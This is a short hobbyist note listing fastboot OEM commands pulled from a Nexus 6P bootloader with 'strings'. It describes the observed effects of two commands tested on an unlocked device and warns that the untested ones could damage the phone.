List grabbed from running `strings` on the bootloader; it's probably incomplete.

Most of these commands are untested, and all of them sound like they can seriously break your phone. Be careful.

Tested: (all on a bootloader unlocked device)

fastboot oem uart enable: changes "Console" on the bootloader screen to say "ttyHSL0,115200,n8";
  probably enables serial messages; haven't checked since I don't know where the Nexus 6P's uart is

fastboot oem ramdump enable: changes "Download mode" on the bootloader screen to say "ENABLED" instead of "DISABLED".
